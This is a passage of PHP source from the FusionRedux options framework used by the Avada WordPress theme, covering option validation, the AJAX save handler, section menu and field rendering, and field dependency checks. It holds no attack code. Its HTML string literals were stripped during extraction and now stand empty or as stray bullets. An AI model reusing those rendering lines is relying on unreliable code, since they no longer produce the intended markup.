$plugin_options[ $key ] ) { $this->transients['changed_values'][ $key ] = $value; } } $this->transients['last_save_mode'] = "defaults"; // Last save mode //setcookie("fusionredux-saved-{$this->args['opt_name']}", 'defaults', time() + 1000, "/"); $this->set_transients(); // Update the transients return $plugin_options; } // Section reset to defaults if ( ! empty ( $plugin_options['defaults-section'] ) ) { if ( isset ( $plugin_options['fusionredux-section'] ) && isset ( $this->sections[ $plugin_options['fusionredux-section'] ]['fields'] ) ) { foreach ( $this->sections[ $plugin_options['fusionredux-section'] ]['fields'] as $field ) { if ( isset ( $this->options_defaults[ $field['id'] ] ) ) { $plugin_options[ $field['id'] ] = $this->options_defaults[ $field['id'] ]; } else { $plugin_options[ $field['id'] ] = ""; } } $plugin_options = apply_filters( "fusionredux/validate/{$this->args['opt_name']}/defaults_section", $plugin_options ); } $this->transients['changed_values'] = array(); foreach ( $this->options as $key => $value ) { if ( isset ( $plugin_options[ $key ] ) && $value != $plugin_options[ $key ] ) { $this->transients['changed_values'][ $key ] = $value; } } $this->transients['last_save_mode'] = "defaults_section"; // Last save mode //setcookie("fusionredux-saved-{$this->args['opt_name']}", 'defaults_section', time() + 1000, "/"); unset ( $plugin_options['defaults'], $plugin_options['defaults_section'], $plugin_options['import'], $plugin_options['import_code'], $plugin_options['import_link'], $plugin_options['compiler'], $plugin_options['fusionredux-section'] ); $this->set_transients(); return $plugin_options; } // if ($this->transients['last_save_mode'] != 'remove') { $this->transients['last_save_mode'] = "normal"; // Last save mode // } else { // $this->transients['last_save_mode'] = ''; // } /** * apply_filters 'fusionredux/validate/{opt_name}/before_validation' * * @param array $plugins_options * @param array $options */ $plugin_options = apply_filters( "fusionredux/validate/{$this->args['opt_name']}/before_validation", $plugin_options, $this->options ); // Validate fields (if needed) $plugin_options = $this->_validate_values( $plugin_options, $this->options, $this->sections ); if ( ! empty ( $this->errors ) || ! empty ( $this->warnings ) ) { $this->transients['notices'] = array( 'errors' => $this->errors, 'warnings' => $this->warnings ); } /** * action 'fusionredux-validate-{opt_name}' * * @deprecated * * @param &array [&$plugin_options, fusionredux_options] */ do_action_ref_array( "fusionredux-validate-{$this->args['opt_name']}", array( &$plugin_options, $this->options ) ); // REMOVE if ( ! isset ( $this->transients['changed_values'] ) ) { $this->transients['changed_values'] = array(); } /** * action 'fusionredux/options/{opt_name}/validate' * * @param &array [&$plugin_options, fusionredux_options] */ do_action_ref_array( "fusionredux/options/{$this->args['opt_name']}/validate", array( &$plugin_options, $this->options, $this->transients['changed_values'] ) ); $this->transients['changed_values'] = array(); // Changed values since last save foreach ( $this->options as $key => $value ) { if ( isset ( $plugin_options[ $key ] ) && $value != $plugin_options[ $key ] ) { $this->transients['changed_values'][ $key ] = $value; } } unset ( $plugin_options['defaults'], $plugin_options['defaults_section'], $plugin_options['import'], $plugin_options['import_code'], $plugin_options['import_link'], $plugin_options['compiler'], $plugin_options['fusionredux-section'] ); if ( $this->args['database'] == 'transient' || $this->args['database'] == 'theme_mods' || $this->args['database'] == 'theme_mods_expanded' ) { $this->set_options( $plugin_options ); return; } if ( defined( 'WP_CACHE' ) && WP_CACHE && class_exists( 'W3_ObjectCache' ) && function_exists( 'w3_instance' ) ) { $w3_inst = w3_instance( 'W3_ObjectCache' ); $w3 = $w3_inst->instance(); $key = $w3->_get_cache_key( $this->args['opt_name'] . '-transients', 'transient' ); $w3->delete( $key, 'transient', true ); //set_transient($this->args['opt_name'].'-transients', $this->transients); //exit(); } $this->set_transients( $this->transients ); return $plugin_options; } public function ajax_save() { if ( ! wp_verify_nonce( $_REQUEST['nonce'], "fusionredux_ajax_nonce" . $this->args['opt_name'] ) ) { echo json_encode( array( 'status' => __( 'Invalid security credential. Please reload the page and try again.', 'Avada' ), 'action' => '' ) ); die(); } if ( ! current_user_can( $this->args['page_permissions'] ) ) { echo json_encode( array( 'status' => __( 'Invalid user capability. Please reload the page and try again.', 'Avada' ), 'action' => '' ) ); die(); } $fusionredux = FusionReduxFrameworkInstances::get_instance( $_POST['opt_name'] ); if ( ! empty ( $_POST['data'] ) && ! empty ( $fusionredux->args['opt_name'] ) ) { $values = array(); $_POST['data'] = stripslashes( $_POST['data'] ); // Old method of saving, in case we need to go back! - kp //parse_str( $_POST['data'], $values ); // New method to avoid input_var nonesense. Thanks @harunbasic $values = $this->fusionredux_parse_str( $_POST['data'] ); $values = $values[ $fusionredux->args['opt_name'] ]; if ( ! empty ( $values ) ) { try { // Reset options, save them to uploads folder first. if ( ! empty ( $values['defaults'] ) || ! empty ( $values['defaults-section'] ) ) { $backup_values = $values; unset( $backup_values['defaults'] ); unset( $backup_values['compiler'] ); unset( $backup_values['fusionredux-section'] ); unset( $backup_values['import_code'] ); unset( $backup_values['import_link'] ); $backup_values['fusionredux-backup'] = '1'; $content = json_encode( $backup_values ); $file = new Fusion_Filesystem( 'avada_global_options_backup_' . date( 'Y_m_d' ) . '.json', 'avada-global-options' ); $could_write = $file->write_file( $content ); } if ( isset ( $fusionredux->validation_ran ) ) { unset ( $fusionredux->validation_ran ); } $fusionredux->set_options( $fusionredux->_validate_options( $values ) ); $do_reload = false; if ( isset( $this->reload_fields ) && ! empty( $this->reload_fields ) ) { if ( ! empty( $this->transients['changed_values'] ) ) { foreach ( $this->reload_fields as $idx => $val ) { if ( array_key_exists( $val, $this->transients['changed_values'] ) ) { $do_reload = true; } } } } if ( $do_reload || ( isset ( $values['defaults'] ) && ! empty ( $values['defaults'] ) ) || ( isset ( $values['defaults-section'] ) && ! empty ( $values['defaults-section'] ) ) ) { echo json_encode( array( 'status' => 'success', 'action' => 'reload' ) ); die (); } $return_array = array( 'status' => 'success', 'options' => $fusionredux->options, 'errors' => isset ( $fusionredux->localize_data['errors'] ) ? $fusionredux->localize_data['errors'] : null, 'warnings' => isset ( $fusionredux->localize_data['warnings'] ) ? $fusionredux->localize_data['warnings'] : null, ); } catch ( Exception $e ) { $return_array = array( 'status' => $e->getMessage() ); } } else { echo json_encode( array( 'status' => __( 'Your panel has no fields. Nothing to save.', 'Avada' ) ) ); } } if ( isset( $return_array ) ) { if ( $return_array['status'] == "success" ) { require_once wp_normalize_path( dirname( __FILE__ ) . '/core/panel.php' ); $panel = new fusionreduxCorePanel ( $fusionredux ); ob_start(); $panel->notification_bar(); $notification_bar = ob_get_contents(); ob_end_clean(); $return_array['notification_bar'] = $notification_bar; } echo json_encode( apply_filters( "fusionredux/options/{$this->args['opt_name']}/ajax_save/response", $return_array ) ); } die (); } /** * Validate values from options form (used in settings api validate function) * calls the custom validation class for the field so authors can override with custom classes * * @since 1.0.0 * @access public * * @param array $plugin_options * @param array $options * * @return array $plugin_options */ public function _validate_values( $plugin_options, $options, $sections ) { foreach ( $sections as $k => $section ) { if ( isset ( $section['fields'] ) ) { foreach ( $section['fields'] as $fkey => $field ) { if ( is_array( $field ) ) { $field['section_id'] = $k; } if ( isset ( $field['type'] ) && ( $field['type'] == 'checkbox' || $field['type'] == 'checkbox_hide_below' || $field['type'] == 'checkbox_hide_all' ) ) { if ( ! isset ( $plugin_options[ $field['id'] ] ) ) { $plugin_options[ $field['id'] ] = 0; } } // Default 'not_empty 'flag to false. $isNotEmpty = false; // Make sure 'validate' field is set. if ( isset ( $field['validate'] ) ) { // Make sure 'validate field' is set to 'not_empty' or 'email_not_empty' //if ( $field['validate'] == 'not_empty' || $field['validate'] == 'email_not_empty' || $field['validate'] == 'numeric_not_empty' ) { if ( strtolower( substr( $field['validate'], - 9 ) ) == 'not_empty' ) { // Set the flag. $isNotEmpty = true; } } // Check for empty id value if ( ! isset ( $field['id'] ) || ! isset ( $plugin_options[ $field['id'] ] ) || ( isset ( $plugin_options[ $field['id'] ] ) && $plugin_options[ $field['id'] ] == '' ) ) { // If we are looking for an empty value, in the case of 'not_empty' // then we need to keep processing. if ( ! $isNotEmpty ) { // Empty id and not checking for 'not_empty. Bail out... continue; } } // Force validate of custom field types if ( isset ( $field['type'] ) && ! isset ( $field['validate'] ) && ! isset( $field['validate_callback'] ) ) { if ( $field['type'] == 'color' || $field['type'] == 'color_gradient' ) { $field['validate'] = 'color'; } elseif ( $field['type'] == 'date' ) { $field['validate'] = 'date'; } } if ( isset ( $field['validate'] ) ) { $validate = 'FusionRedux_Validation_' . $field['validate']; if ( ! class_exists( $validate ) ) { /** * filter 'fusionredux-validateclass-load' * * @deprecated * * @param string $file_path validation class file path * @param string $validate validation class name */ $class_file = apply_filters( "fusionredux-validateclass-load", self::$_dir . "inc/validation/{$field['validate']}/validation_{$field['validate']}.php", $validate ); // REMOVE LATER /** * filter 'fusionredux/validate/{opt_name}/class/{field.validate}' * * @param string $file_path validation class file path * @param string $class_file validation class file path */ $class_file = apply_filters( "fusionredux/validate/{$this->args['opt_name']}/class/{$field['validate']}", self::$_dir . "inc/validation/{$field['validate']}/validation_{$field['validate']}.php", $class_file ); if ( $class_file ) { if ( file_exists( $class_file ) ) { require_once wp_normalize_path( $class_file ); } } } if ( class_exists( $validate ) ) { //!DOVY - DB saving stuff. Is this right? if ( empty ( $options[ $field['id'] ] ) ) { $options[ $field['id'] ] = ''; } if ( isset ( $plugin_options[ $field['id'] ] ) && is_array( $plugin_options[ $field['id'] ] ) && ! empty ( $plugin_options[ $field['id'] ] ) ) { foreach ( $plugin_options[ $field['id'] ] as $key => $value ) { $before = $after = null; if ( isset ( $plugin_options[ $field['id'] ][ $key ] ) && ( ! empty ( $plugin_options[ $field['id'] ][ $key ] ) || $plugin_options[ $field['id'] ][ $key ] == '0' ) ) { if ( is_array( $plugin_options[ $field['id'] ][ $key ] ) ) { $before = $plugin_options[ $field['id'] ][ $key ]; } else { $before = trim( $plugin_options[ $field['id'] ][ $key ] ); } } if ( isset ( $options[ $field['id'] ][ $key ] ) && ( ! empty ( $plugin_options[ $field['id'] ][ $key ] ) || $plugin_options[ $field['id'] ][ $key ] == '0' ) ) { $after = $options[ $field['id'] ][ $key ]; } $validation = new $validate ( $this, $field, $before, $after ); if ( ! empty ( $validation->value ) || $validation->value == '0' ) { $plugin_options[ $field['id'] ][ $key ] = $validation->value; } else { unset ( $plugin_options[ $field['id'] ][ $key ] ); } if ( isset ( $validation->error ) ) { $this->errors[] = $validation->error; } if ( isset ( $validation->warning ) ) { $this->warnings[] = $validation->warning; } } } else { if ( is_array( $plugin_options[ $field['id'] ] ) ) { $pofi = $plugin_options[ $field['id'] ]; } else { $pofi = trim( $plugin_options[ $field['id'] ] ); } $validation = new $validate ( $this, $field, $pofi, $options[ $field['id'] ] ); $plugin_options[ $field['id'] ] = $validation->value; if ( isset ( $validation->error ) ) { $this->errors[] = $validation->error; } if ( isset ( $validation->warning ) ) { $this->warnings[] = $validation->warning; } } continue; } } if ( isset ( $field['validate_callback'] ) && ( is_callable( $field['validate_callback'] ) || ( is_string( $field['validate_callback'] ) && function_exists( $field['validate_callback'] ) ) ) ) { $callback = $field['validate_callback']; unset ( $field['validate_callback'] ); $callbackvalues = call_user_func( $callback, $field, $plugin_options[ $field['id'] ], $options[ $field['id'] ] ); $plugin_options[ $field['id'] ] = $callbackvalues['value']; if ( isset ( $callbackvalues['error'] ) ) { $this->errors[] = $callbackvalues['error']; } // TODO - This warning message is failing. Hmm. if ( isset ( $callbackvalues['warning'] ) ) { $this->warnings[] = $callbackvalues['warning']; } } } } } return $plugin_options; } /** * Return Section Menu HTML * * @since 3.1.5 * @access public * @return void */ public function section_menu( $k, $section, $suffix = "", $sections = array() ) { $display = true; $section['class'] = isset ( $section['class'] ) ? ' ' . $section['class'] : ''; if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { if ( isset ( $section['panel'] ) && $section['panel'] == false ) { $display = false; } } if ( ! $display ) { return ""; } if ( empty ( $sections ) ) { $sections = $this->sections; } $string = ""; if ( ( ( isset ( $this->args['icon_type'] ) && $this->args['icon_type'] == 'image' ) || ( isset ( $section['icon_type'] ) && $section['icon_type'] == 'image' ) ) || ( isset( $section['icon'] ) && strpos( $section['icon'], '/' ) !== false ) ) { //if( !empty( $this->args['icon_type'] ) && $this->args['icon_type'] == 'image' ) { $icon = ( ! isset ( $section['icon'] ) ) ? '' : ' '; } else { if ( ! empty ( $section['icon_class'] ) ) { $icon_class = ' ' . $section['icon_class']; } elseif ( ! empty ( $this->args['default_icon_class'] ) ) { $icon_class = ' ' . $this->args['default_icon_class']; } else { $icon_class = ''; } $icon = ( ! isset ( $section['icon'] ) ) ? ' ' : ' '; } if ( strpos( $icon, 'el-icon-' ) !== false ) { $icon = str_replace( 'el-icon-', 'el el-', $icon ); } $hide_section = ''; if ( isset ( $section['hidden'] ) ) { $hide_section = ( $section['hidden'] == true ) ? ' hidden ' : ''; } $canBeSubSection = ( $k > 0 && ( ! isset ( $sections[ ( $k ) ]['type'] ) || $sections[ ( $k ) ]['type'] != "divide" ) ) ? true : false; if ( ! $canBeSubSection && isset ( $section['subsection'] ) && $section['subsection'] == true ) { unset ( $section['subsection'] ); } if ( isset ( $section['type'] ) && $section['type'] == "divide" ) { $string .= '
  •  
  • '; } else if ( ! isset ( $section['subsection'] ) || $section['subsection'] != true ) { // DOVY! REPLACE $k with $section['ID'] when used properly. // Make sure you can make this a subsection $section_icon = $icon; $subsections = ( isset ( $sections[ ( $k + 1 ) ] ) && isset ( $sections[ ( $k + 1 ) ]['subsection'] ) && $sections[ ( $k + 1 ) ]['subsection'] == true ) ? true : false; $subsections_HTML = ""; $subsections_count = 0; $nextK = $k; if ( $subsections ) { $subsections_HTML .= '
      '; $doLoop = true; while ( $doLoop ) { $nextK += 1; $display = true; if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { if ( isset ( $sections[ $nextK ]['panel'] ) && $sections[ $nextK ]['panel'] == false ) { $display = false; } } if ( count( $sections ) < $nextK || ! isset ( $sections[ $nextK ] ) || ! isset ( $sections[ $nextK ]['subsection'] ) || $sections[ $nextK ]['subsection'] != true ) { $doLoop = false; } else { if ( ! $display ) { continue; } $hide_sub = ''; if ( isset ( $sections[ $nextK ]['hidden'] ) ) { $hide_sub = ( $sections[ $nextK ]['hidden'] == true ) ? 'hidden ' : ''; if ( $sections[ $nextK ]['hidden'] == true ) { $subsections_count--; } } if ( ( isset ( $this->args['icon_type'] ) && $this->args['icon_type'] == 'image' ) || ( isset ( $sections[ $nextK ]['icon_type'] ) && $sections[ $nextK ]['icon_type'] == 'image' ) ) { //if( !empty( $this->args['icon_type'] ) && $this->args['icon_type'] == 'image' ) { $icon = ( ! isset ( $sections[ $nextK ]['icon'] ) ) ? '' : ' '; } else { if ( ! empty ( $sections[ $nextK ]['icon_class'] ) ) { $icon_class = ' ' . $sections[ $nextK ]['icon_class']; } elseif ( ! empty ( $this->args['default_icon_class'] ) ) { $icon_class = ' ' . $this->args['default_icon_class']; } else { $icon_class = ''; } $icon = ( ! isset ( $sections[ $nextK ]['icon'] ) ) ? '' : ' '; } if ( strpos( $icon, 'el-icon-' ) !== false ) { $icon = str_replace( 'el-icon-', 'el el-', $icon ); } $sections[ $nextK ]['class'] = isset ( $sections[ $nextK ]['class'] ) ? $sections[ $nextK ]['class'] : ''; $subsections_HTML .= ''; $subsections_count++; } } $subsections_HTML .= '
    '; } $subsectionsClass = 0 < $subsections_count ? ' hasSubSections' : ''; $subsectionsClass .= ( ! isset ( $section['fields'] ) || empty ( $section['fields'] ) ) ? ' empty_section' : ''; $extra_icon = 0 < $subsections_count ? ' ' : ''; $string .= ''; } return $string; } // section_menu() /** * HTML OUTPUT. * * @since 1.0.0 * @access public * @return void */ public function generate_panel() { require_once wp_normalize_path( dirname( __FILE__ ) . '/core/panel.php' ); $panel = new fusionreduxCorePanel ( $this ); $panel->init(); $this->set_transients(); } /** * Section HTML OUTPUT. * * @since 1.0.0 * @access public * * @param array $section * * @return void */ public function _section_desc( $section ) { $id = trim( rtrim( $section['id'], '_section' ), $this->args['opt_name'] ); if ( isset ( $this->sections[ $id ]['desc'] ) && ! empty ( $this->sections[ $id ]['desc'] ) ) { echo '
    ' . $this->sections[ $id ]['desc'] . '
    '; } if ( isset ( $this->sections[ $id ]['highlight'] ) && ! empty ( $this->sections[ $id ]['highlight'] ) ) { echo '
    ' . $this->sections[ $id ]['highlight'] . '
    '; } } /** * Field HTML OUTPUT. * Gets option from options array, then calls the specific field type class - allows extending by other devs * * @since 1.0.0 * * @param array $field * @param string $v * * @return void */ public function _field_input( $field, $v = null ) { if ( isset ( $field['callback'] ) && ( is_callable( $field['callback'] ) || ( is_string( $field['callback'] ) && function_exists( $field['callback'] ) ) ) ) { $value = ( isset ( $this->options[ $field['id'] ] ) ) ? $this->options[ $field['id'] ] : ''; /** * action 'fusionredux-before-field-{opt_name}' * * @deprecated * * @param array $field field data * @param string $value field.id */ do_action( "fusionredux-before-field-{$this->args['opt_name']}", $field, $value ); // REMOVE /** * action 'fusionredux/field/{opt_name}/{field.type}/callback/before' * * @param array $field field data * @param string $value field.id */ do_action_ref_array( "fusionredux/field/{$this->args['opt_name']}/{$field['type']}/callback/before", array( &$field, &$value ) ); /** * action 'fusionredux/field/{opt_name}/callback/before' * * @param array $field field data * @param string $value field.id */ do_action_ref_array( "fusionredux/field/{$this->args['opt_name']}/callback/before", array( &$field, &$value ) ); call_user_func( $field['callback'], $field, $value ); /** * action 'fusionredux-after-field-{opt_name}' * * @deprecated * * @param array $field field data * @param string $value field.id */ do_action( "fusionredux-after-field-{$this->args['opt_name']}", $field, $value ); // REMOVE /** * action 'fusionredux/field/{opt_name}/{field.type}/callback/after' * * @param array $field field data * @param string $value field.id */ do_action_ref_array( "fusionredux/field/{$this->args['opt_name']}/{$field['type']}/callback/after", array( &$field, &$value ) ); /** * action 'fusionredux/field/{opt_name}/callback/after' * * @param array $field field data * @param string $value field.id */ do_action_ref_array( "fusionredux/field/{$this->args['opt_name']}/callback/after", array( &$field, &$value ) ); return; } if ( isset ( $field['type'] ) ) { // If the field is set not to display in the panel $display = true; if ( isset ( $_GET['page'] ) && $_GET['page'] == $this->args['page_slug'] ) { if ( isset ( $field['panel'] ) && $field['panel'] == false ) { $display = false; } } if ( ! $display ) { return; } $field_class = "FusionReduxFramework_{$field['type']}"; if ( ! class_exists( $field_class ) ) { // $class_file = apply_filters( 'fusionredux/field/class/'.$field['type'], self::$_dir . 'inc/fields/' . $field['type'] . '/field_' . $field['type'] . '.php', $field ); // REMOVE /** * filter 'fusionredux/{opt_name}/field/class/{field.type}' * * @param string $file_path validation class file path * @param array $field field data */ $class_file = apply_filters( "fusionredux/{$this->args['opt_name']}/field/class/{$field['type']}", self::$_dir . "inc/fields/{$field['type']}/field_{$field['type']}.php", $field ); if ( $class_file ) { if ( file_exists( $class_file ) ) { require_once wp_normalize_path( $class_file ); } } } if ( class_exists( $field_class ) ) { $value = isset ( $this->options[ $field['id'] ] ) ? $this->options[ $field['id'] ] : ''; if ( $v !== null ) { $value = $v; } /** * action 'fusionredux-before-field-{opt_name}' * * @deprecated * * @param array $field field data * @param string $value field id */ do_action( "fusionredux-before-field-{$this->args['opt_name']}", $field, $value ); // REMOVE /** * action 'fusionredux/field/{opt_name}/{field.type}/render/before' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "fusionredux/field/{$this->args['opt_name']}/{$field['type']}/render/before", array( &$field, &$value ) ); /** * action 'fusionredux/field/{$this->args['opt_name']}/render/before' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "fusionredux/field/{$this->args['opt_name']}/render/before", array( &$field, &$value ) ); if ( ! isset ( $field['name_suffix'] ) ) { $field['name_suffix'] = ""; } $render = new $field_class ( $field, $value, $this ); ob_start(); $render->render(); /* echo "
    ";
    					  print_r($value);
    					  echo "
    "; */ /** * filter 'fusionredux-field-{opt_name}' * * @deprecated * * @param string $file_path validation class file path * @param array $field field data */ $_render = apply_filters( "fusionredux-field-{$this->args['opt_name']}", ob_get_contents(), $field ); // REMOVE /** * filter 'fusionredux/field/{opt_name}/{field.type}/render/after' * * @param string $file_path validation class file path * @param array $field field data */ $_render = apply_filters( "fusionredux/field/{$this->args['opt_name']}/{$field['type']}/render/after", $_render, $field ); /** * filter 'fusionredux/field/{opt_name}/render/after' * * @param string $file_path validation class file path * @param array $field field data */ $_render = apply_filters( "fusionredux/field/{$this->args['opt_name']}/render/after", $_render, $field ); ob_end_clean(); //save the values into a unique array in case we need it for dependencies $this->fieldsValues[ $field['id'] ] = ( isset ( $value['url'] ) && is_array( $value ) ) ? $value['url'] : $value; //create default data und class string and checks the dependencies of an object $class_string = ''; $data_string = ''; $this->check_dependencies( $field ); /** * action 'fusionredux/field/{opt_name}/{field.type}/fieldset/before/{opt_name}' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "fusionredux/field/{$this->args['opt_name']}/{$field['type']}/fieldset/before/{$this->args['opt_name']}", array( &$field, &$value ) ); /** * action 'fusionredux/field/{opt_name}/fieldset/before/{opt_name}' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "fusionredux/field/{$this->args['opt_name']}/fieldset/before/{$this->args['opt_name']}", array( &$field, &$value ) ); //if ( ! isset( $field['fields'] ) || empty( $field['fields'] ) ) { $hidden = ''; if ( isset ( $field['hidden'] ) && $field['hidden'] ) { $hidden = 'hidden '; } if ( isset( $field['full_width'] ) && $field['full_width'] == true ) { $class_string .= "fusionredux_remove_th"; } if ( isset ( $field['fieldset_class'] ) && ! empty( $field['fieldset_class'] ) ) { $class_string .= ' ' . $field['fieldset_class']; } echo '
    '; //} echo $_render; if ( ! empty ( $field['desc'] ) ) { $field['description'] = $field['desc']; } echo ( isset ( $field['description'] ) && $field['type'] != "info" && $field['type'] !== "section" && ! empty ( $field['description'] ) ) ? '
    ' . $field['description'] . '
    ' : ''; //if ( ! isset( $field['fields'] ) || empty( $field['fields'] ) ) { echo '
    '; //} /** * action 'fusionredux-after-field-{opt_name}' * * @deprecated * * @param array $field field data * @param string $value field id */ do_action( "fusionredux-after-field-{$this->args['opt_name']}", $field, $value ); // REMOVE /** * action 'fusionredux/field/{opt_name}/{field.type}/fieldset/after/{opt_name}' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "fusionredux/field/{$this->args['opt_name']}/{$field['type']}/fieldset/after/{$this->args['opt_name']}", array( &$field, &$value ) ); /** * action 'fusionredux/field/{opt_name}/fieldset/after/{opt_name}' * * @param array $field field data * @param string $value field id */ do_action_ref_array( "fusionredux/field/{$this->args['opt_name']}/fieldset/after/{$this->args['opt_name']}", array( &$field, &$value ) ); } } } // _field_input() /** * Checks dependencies between objects based on the $field['required'] array * If the array is set it needs to have exactly 3 entries. * The first entry describes which field should be monitored by the current field. eg: "content" * The second entry describes the comparison parameter. eg: "equals, not, is_larger, is_smaller ,contains" * The third entry describes the value that we are comparing against. * Example: if the required array is set to array('content','equals','Hello World'); then the current * field will only be displayed if the field with id "content" has exactly the value "Hello World" * * @param array $field * * @return void */ public function check_dependencies( $field ) { //$params = array('data_string' => "", 'class_string' => ""); if ( isset( $field['ajax_save'] ) && $field['ajax_save'] == false ) { $this->reload_fields[] = $field['id']; } if ( ! empty ( $field['required'] ) ) { if ( ! isset ( $this->required_child[ $field['id'] ] ) ) { $this->required_child[ $field['id'] ] = array(); } if ( ! isset ( $this->required[ $field['id'] ] ) ) { $this->required[ $field['id'] ] = array(); } if ( is_array( $field['required'][0] ) ) { foreach ( $field['required'] as $value ) { if ( is_array( $value ) && count( $value ) == 3 ) { $data = array(); $data['parent'] = $value[0]; $data['operation'] = $value[1]; $data['checkValue'] = $value[2]; $this->required[ $data['parent'] ][ $field['id'] ][] = $data; if ( ! in_array( $data['parent'], $this->required_child[ $field['id'] ] ) ) { $this->required_child[ $field['id'] ][] = $data; } $this->checkRequiredDependencies( $field, $data ); } } } else { $data = array(); $data['parent'] = $field['required'][0]; $data['operation'] = $field['required'][1]; $data['checkValue'] = $field['required'][2]; $this->required[ $data['parent'] ][ $field['id'] ][] = $data; if ( ! in_array( $data['parent'], $this->required_child[ $field['id'] ] ) ) { $this->required_child[ $field['id'] ][] = $data; } $this->checkRequiredDependencies( $field, $data ); } } //return $params; } // Compare data for required field private function compareValueDependencies( $parentValue, $checkValue, $operation ) { $return = false; switch ( $operation ) { case '=': case 'equals': $data['operation'] = "="; if ( is_array( $parentValue ) ) { foreach ( $parentValue as $idx => $val ) { if ( is_array( $checkValue ) ) { foreach ( $checkValue as $i => $v ) { if ( $val == $v ) { $return = true; } } } else { if ( $val == $checkValue ) { $return = true; } } } } else { if ( is_array( $checkValue ) ) { foreach ( $checkValue as $i => $v ) { if ( $parentValue == $v ) { $return = true; } } } else { if ( $parentValue == $checkValue ) { $return = true; } } } break; case '!=': case 'not': $data['operation'] = "!=="; if ( is_array( $parentValue ) ) { foreach ( $parentValue as $idx => $val ) { if ( is_array( $checkValue ) ) { foreach ( $checkValue as $i => $v ) { if ( $val != $v ) { $return = true; } } } else { if ( $val != $checkValue ) { $return = true; } } } } else { if ( is_array( $checkValue ) ) { foreach ( $checkValue as $i => $v ) { if ( $parentValue != $v ) { $return = true; } } } else { if ( $parentValue != $checkValue ) { $return = true; } } } // if ( is_array( $checkValue ) ) { // if ( ! in_array( $parentValue, $checkValue ) ) { // $return = true; // } // } else { // if ( $parentValue != $checkValue ) { // $return = true; // } else if ( is_array( $parentValue ) ) { // if ( ! in_array( $checkValue, $parentValue ) ) { // $return = true; // } // } // } break; case '>': case 'greater': case 'is_larger': $data['operation'] = ">"; if ( $parentValue > $checkValue ) { $return = true; } break; case '>=': case 'greater_equal': case 'is_larger_equal': $data['operation'] = ">="; if ( $parentValue >= $checkValue ) { $return = true; } break; case '<': case 'less': case 'is_smaller': $data['operation'] = "<"; if ( $parentValue < $checkValue ) { $return = true; } break; case '<=': case 'less_equal': case 'is_smaller_equal': $data['operation'] = "<="; if ( $parentValue <= $checkValue ) { $return = true; } break; case 'contains': if ( is_array( $parentValue ) ) { $parentValue = implode( ',', $parentValue ); } if ( is_array( $checkValue ) ) { foreach ( $checkValue as $idx => $opt ) { if ( strpos( $parentValue, (string) $opt ) !== false ) { $return = true; } } } else { if ( strpos( $parentValue, (string) $checkValue ) !== false ) { $return = true; } } break; case 'doesnt_contain': case 'not_contain': if ( is_array( $parentValue ) ) { $parentValue = implode( ',', $parentValue ); } if ( is_array( $checkValue ) ) { foreach ( $checkValue as $idx => $opt ) { if ( strpos( $parentValue, (string) $opt ) === false ) { $return = true; } } } else { if ( strpos( $parentValue, (string) $checkValue ) === false ) { $return = true; } } break; case 'is_empty_or': if ( empty ( $parentValue ) || $parentValue == $checkValue ) { $return = true; } break; case 'not_empty_and': if ( ! empty ( $parentValue ) && $parentValue != $checkValue ) { $return = true; } break; case 'is_empty': case 'empty': case '!isset': if ( empty ( $parentValue ) || $parentValue == "" || $parentValue == null ) { $return = true; } break; case 'not_empty': case '!empty': case 'isset': if ( ! empty ( $parentValue ) && $parentValue != "" && $parentValue != null ) { $return = true; } break; } return $return; } private function checkRequiredDependencies( $field, $data ) { //required field must not be hidden. otherwise hide this one by default if ( ! in_array( $data['parent'], $this->fieldsHidden ) && ( ! isset ( $this->folds[ $field['id'] ] ) || $this->folds[ $field['id'] ] != "hide" ) ) { if ( isset ( $this->options[ $data['parent'] ] ) ) { $return = $this->compareValueDependencies( $this->options[ $data['parent'] ], $data['checkValue'], $data['operation'] ); //$return = $this->compareValueDependencies( $data['parent'], $data['checkValue'], $data['operation'] ); } } if ( ( isset ( $return ) && $return ) && ( ! isset ( $this->folds[ $field['id'] ] ) || $this->folds[ $field['id'] ] != "hide" ) ) { $this->folds[ $field['id'] ] = "show"; } else { $this->folds[ $field['id'] ] = "hide"; if ( ! in_array( $field['id'], $this->fieldsHidden ) ) { $this->fieldsHidden[] = $field['id']; } } } /** * converts an array into a html data string * * @param array $data example input: array('id'=>'true') * * @return string $data_string example output: data-id='true' */ public function create_data_string( $data = array() ) { $data_string = ""; foreach ( $data as $key => $value ) { if ( is_array( $value ) ) { $value = implode( "|", $value ); } $data_string .= " data-$key='$value' "; } return $data_string; } /** * Parses the string into variables without the max_input_vars limitation. * * @since 3.5.7.11 * @author harunbasic * @access public * * @param string $string * * @return array $result */ function fusionredux_parse_str( $string ) { if ( '' == $string ) { return false; } $result = array(); $pairs = explode( '&', $string ); foreach ( $pairs as $key => $pair ) { // use the original parse_str() on each element parse_str( $pair, $params ); $k = key( $params ); if ( ! isset( $result[ $k ] ) ) { $result += $params; } else { $result[ $k ] = $this->fusionredux_array_merge_recursive_distinct( $result[ $k ], $params[ $k ] ); } } return $result; } /** * Merge arrays without converting values with duplicate keys to arrays as array_merge_recursive does. * As seen here http://php.net/manual/en/function.array-merge-recursive.php#92195 * * @since 3.5.7.11 * @author harunbasic * @access public * * @param array $array1 * @param array $array2 * * @return array $merged */ function fusionredux_array_merge_recursive_distinct( array $array1, array $array2 ) { $merged = $array1; foreach ( $array2 as $key => $value ) { if ( is_array( $value ) && isset( $merged[$key] ) && is_array( $merged[$key] ) ) { $merged[$key] = $this->fusionredux_array_merge_recursive_distinct( $merged[$key], $value ); } else if ( is_numeric( $key ) && isset( $merged[$key] ) ) { $merged[] = $value; } else { $merged[$key] = $value; } } return $merged; } private function change_demo_defaults() { if ($this->args['dev_mode'] == true || FusionRedux_Helpers::isLocalHost() == true) { if (!empty($this->args['admin_bar_links'])) { foreach($this->args['admin_bar_links'] as $idx => $arr) { if (is_array($arr) && !empty($arr)) { foreach($arr as $x => $y) { if (strpos(strtolower($y), 'fusionredux') >= 0) { $msg = __('FusionRedux Framework Notice: There are references to the FusionRedux Framework support site in your config\'s admin_bar_links argument. This is sample data. Please change or remove this data before shipping your product.', 'Avada'); $this->display_arg_change_notice('admin', $msg); $this->omit_admin_items = true; continue; } } } } } if (!empty($this->args['share_icons'])) { foreach($this->args['share_icons'] as $idx => $arr) { 